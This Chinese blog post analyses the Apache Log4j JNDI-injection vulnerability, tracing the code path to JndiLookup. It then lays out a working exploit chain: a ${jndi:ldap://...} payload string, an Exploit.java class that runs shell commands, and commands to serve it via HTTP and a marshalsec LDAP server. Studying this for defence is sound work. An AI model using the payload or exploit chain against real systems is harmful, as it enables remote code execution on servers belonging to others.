【WEB安全】Apache Log4j 漏洞利用分析(下)

由于这些调用方法触发漏洞的原理都是一样的,所以本文就以 error 举例说明。

查看 error 的类继承关系可以发现,实际上会调用AbstractLogger.java中的public void error()方法:

【WEB安全】Apache Log4j 漏洞利用分析(下)

因为在logIfEnabled方法中,对当前日志等级进行了一次判断:

【WEB安全】Apache Log4j 漏洞利用分析(下)

如果符合,那么会进行logMessage操作

后续不关键调用路径如下:

logMessage ----> 
logMessageSafely ----> 
logMessageTrackRecursion ----> 
tryLogMessage ----> 
log

不动态调试的情况下跟log方法会到AbstractLogger.log方法,实际上这里是org.apache.logging.log4j.core.Loggger.log方法

【WEB安全】Apache Log4j 漏洞利用分析(下)

Loggger.log ---->  

DefaultReliabilityStrategy.log ----> 

loggerConfig.log ----> 
processLogEvent ----> 
callAppenders----> 

AppenderControl.callAppenders  ----> 
tryCallAppender ----> 

AbstractOutputStreamAppender.append ----> 
tryAppend ----> 
directEncodeEvent ----> 

PatternLayout.encode ----> 
toText ---->
toSerializable ---->
format

这里的formatters方法包含了多个formatter对象,其中出发漏洞的是第8个,其中包含MessagePatternConverter

【WEB安全】Apache Log4j 漏洞利用分析(下)

继续跟着代码走下去,走到了MessagePatternCoverter.class文件的format函数下;

【WEB安全】Apache Log4j 漏洞利用分析(下)

如果检测到​$​字符后跟了一个​{​字符,那么会对直到​}​中间的内容进行解析并​replace

继续跟进就进入到了 StrSubstitutor的substitute函数下

这里就是漏洞发生的主要部分了,基本上是递归处理里面的语法内容,还有一些内置的语法

prefixMatcher​是${undefined

suffixMatcher​是}

其实这里是触发漏洞的必要条件,通常情况下程序员会这样写日志相关代码

logger.error("error_message:" + info);

黑客的恶意输入有可能进入info变量导致这里变成

logger.error("error_message:${jndi:ldap://127.0.0.1:1389/badClassName}");

这里的递归处理成功地让jndi:ldap://127.0.0.1:1389/badClassName进入resolveVariable方法

【WEB安全】Apache Log4j 漏洞利用分析(下)

进过语法处理,varname会被修改为对应语法的对应部分(重要绕过),最后会进入resolveVariable()方法中

【WEB安全】Apache Log4j 漏洞利用分析(下)

而​resolveVariable​这里则直接根据不同的协议进入相应的lookup,其中​jndi.lookup​就会导致漏洞,而lookup支持的协议也有很多种包括​{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j}

【WEB安全】Apache Log4j 漏洞利用分析(下)

Interpolator.lookup方法中,首先会获取字符串的前缀值:

【WEB安全】Apache Log4j 漏洞利用分析(下)

如果匹配到内置方法,那么就进入对应的处理方法,这里是 JNDI 方法,那么就会由JndiLookup类进一步处理:

【WEB安全】Apache Log4j 漏洞利用分析(下)

最终加载由攻击者传入的LDAP服务端地址,然后返回一个恶意的JNDI Reference对象,触发漏洞,实现 RCE。

四、 漏洞利用

1、 编写利用类

因为利用ldap方式进行命令执行,首先要编写最后的命令执行代码。

Exploit.java

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class Exploit{    
    public Exploit() throws IOException,InterruptedException{        
    String cmd="touch /tmp/xxx";        
    final Process process = Runtime.getRuntime().exec(cmd);        
    printMessage(process.getInputStream());;        
    printMessage(process.getErrorStream());        
    int value=process.waitFor();        
    System.out.println(value);    
}    
private static void printMessage(final InputStream input) {        
// TODO Auto-generated method stub        
new Thread (new Runnable() {            
@Override            
    public void run() {                
    // TODO Auto-generated method stub                
    Reader reader =new InputStreamReader(input);                
    BufferedReader bf = new BufferedReader(reader);                
    String line = null;                
    try {                    
    while ((line=bf.readLine())!=null)                    {                        
    System.out.println(line);                    }                
    }catch (IOException  e){  
                      e.printStackTrace(); 
                                     }            }        
}).start();    }}

编译代码后,

javac Exploit.java

开启HTTP服务

python -m http.server

【WEB安全】Apache Log4j 漏洞利用分析(下)

2、 开启ldap服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar 
marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#exploit1

【WEB安全】Apache Log4j 漏洞利用分析(下)

【WEB安全】Apache Log4j 漏洞利用分析(下)


希望可以对大家有所帮助哦!!!


图片是我的公众号重新截图,所以有些模糊,大家见谅哦~

上一篇:【WEB安全】Fastjson反序列化(下)


下一篇:【WEB安全】PHPMyAdmin后台GetShell姿势总结(下)